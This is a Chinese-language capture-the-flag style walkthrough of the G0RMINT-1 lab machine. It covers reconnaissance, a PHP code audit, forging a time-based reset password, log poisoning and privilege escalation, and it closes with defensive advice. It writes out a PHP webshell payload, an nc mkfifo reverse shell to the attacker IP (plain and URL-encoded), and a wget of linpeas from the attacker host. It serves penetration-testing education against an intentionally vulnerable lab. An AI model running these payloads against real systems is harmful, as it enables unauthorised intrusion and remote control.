红队渗透测试之G0RMINT-1——初尝代码审计
字数 2089 2025-08-10 19:49:05
G0RMINT-1 渗透测试实战教学文档
1. 环境概述
- 目标环境: G0RMINT-1 (由Noman Riffat设计的渗透测试环境)
- 难度等级: 中级
- 最终目标: 获取root权限并找到flag.txt
- 攻击机: Kali Linux (IP: 192.168.27.187)
- 靶机IP: 192.168.27.141
2. 渗透测试流程
- 信息收集
- 端口扫描
- 目录爆破
- 逻辑代码审计
- PHP脚本编写
- 毒化日志获取shell
- 内网信息枚举
- 内核提权/sudo提权
- 获取flag.txt
3. 详细渗透步骤
3.1 信息收集阶段
3.1.1 网络扫描
# 扫描存活主机
nmap -sP 192.168.27.0/24
# 全端口扫描(获取详细服务信息)
nmap -sS -sV -A -T5 -p- 192.168.27.141
扫描结果:
- 22/tcp: OpenSSH 7.2p2 Ubuntu
- 80/tcp: Apache httpd 2.4.18 (Ubuntu)
3.1.2 Web信息收集
- 访问http://192.168.27.141
- 发现robots.txt文件,内容包含禁止目录:
/g0rmint/* - 访问http://192.168.27.141/g0rmint/
- 查看网页源码发现备份目录提示
3.1.3 目录爆破
dirb http://192.168.27.141/g0rmint/
发现重要目录:
- /g0rmint/s3cretbackupdirect0ry/
- 下载到web登录门户的备份文件
3.2 代码审计
3.2.1 关键文件分析
-
index.php:
- 检查
$_SESSION['username']会话变量 - 未设置则重定向到login.php
- 检查
-
login.php:
- 密码使用MD5加密
- 使用PDO预处理语句防止SQL注入
- 登录失败时调用
addlog()函数记录日志
-
config.php:
addlog()函数定义:function addlog($log, $reason) { $myFile = "s3cr3t-dir3ct0ry-f0r-l0gs/" . date("Y-m-d") . ".php"; // 写入日志 }- 日志文件包含dummy.php内容
-
reset.php:
- 密码重置逻辑:
$password = substr(hash('sha1', gmdate("l jS \of F Y h:i:s A")), 0, 20); - 使用当前时间生成SHA1哈希作为新密码
- 密码重置逻辑:
3.2.2 发现凭据
-
在dc.sql中发现测试账户:
- 用户名: demo
- 邮箱: demo@example.com
- 密码: fe01ce2a7fbac8fafaed7c982a04e229 (MD5: demo123)
-
在style.css发现作者信息:
- 用户名: noman
- 邮箱: w3bdrill3r@gmail.com
3.3 利用密码重置机制
-
编写PHP脚本生成重置密码:
<?php $password = substr(hash('sha1', "Tuesday 27th of December 2022 05:42:49 AM"), 0, 20); echo $password; ?>- 输出: 60921cb1598c55b3a069
-
使用以下凭据登录:
- 邮箱: w3bdrill3r@gmail.com
- 密码: 60921cb1598c55b3a069
3.4 日志毒化获取Webshell
-
在登录页面的邮箱字段注入PHP代码:
<?php system($_GET[cmd]);?> -
访问日志文件(需先登录):
http://192.168.27.141/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/2022-12-26.php -
执行命令:
http://192.168.27.141/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/2022-12-26.php?cmd=id
3.5 获取反向Shell
-
准备反向Shell命令(URL编码):
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.27.187 6666 >/tmp/f编码后:
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.27.187%206666%20%3E%2Ftmp%2Ff -
在攻击机监听:
nc -vlp 6666 -
触发反向Shell:
http://192.168.27.141/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/2022-12-26.php?cmd=编码后的命令 -
升级Shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
3.6 内网信息枚举
- 上传并运行linpeas.sh:
wget http://192.168.27.187/linpeas.sh chmod +x linpeas.sh ./linpeas.sh
发现:
- 用户g0rmint具有sudo权限
- 3306端口开放(MySQL)
3.7 提权方法
方法1: 内核提权
- 检查内核版本是否存在漏洞
- 在攻击机编译对应exp
- 通过web服务传输到靶机
- 执行获取root权限
方法2: Sudo提权
-
在www目录下发现backup.zip
-
解压并分析:
unzip backup.zip -d /tmp cat /tmp/db.sql -
发现凭据:
- 用户名: noman
- 密码: tayyab123
-
使用g0rmint账户SSH登录:
ssh g0rmint@192.168.27.141密码: tayyab123
-
检查sudo权限:
sudo -l
4. 关键知识点总结
-
Nmap高级扫描技巧:
-sS: SYN扫描-sV: 服务版本探测-A: 全面扫描-T5: 最快速度扫描-p-: 全端口扫描
-
Web目录爆破:
- 关注robots.txt
- 检查网页源码中的注释
- 常见备份文件扩展名(.zip, .tar, .gz等)
-
PHP代码审计要点:
- 会话管理机制
- 输入验证与过滤
- 日志记录实现
- 密码重置逻辑
-
日志毒化技巧:
- 利用未过滤的用户输入
- 绕过HTML标签过滤
- 通过URL参数执行命令
-
反向Shell技术:
- 多种反向Shell payload
- URL编码技巧
- Shell环境升级方法
-
提权方法:
- 内核漏洞利用
- Sudo权限滥用
- 密码复用攻击
5. 防御建议
- 输入验证与过滤所有用户输入
- 避免在日志中记录未过滤的用户输入
- 使用安全的密码重置机制
- 限制sudo权限
- 及时更新系统和应用补丁
- 避免使用弱密码或默认密码
- 对敏感目录设置适当权限
6. 工具与资源
-
在线工具:
- URL编码: https://www.urlencoder.org/
- Reverse Shell备忘单: https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
- SHA1哈希: http://www.ttmd5.com/hash.php?type=5
-
本地工具:
- Nmap
- Dirb
- Netcat
- LinPEAS
通过本案例的学习,可以掌握从信息收集到提权的完整渗透测试流程,特别是PHP应用的安全审计和漏洞利用技巧。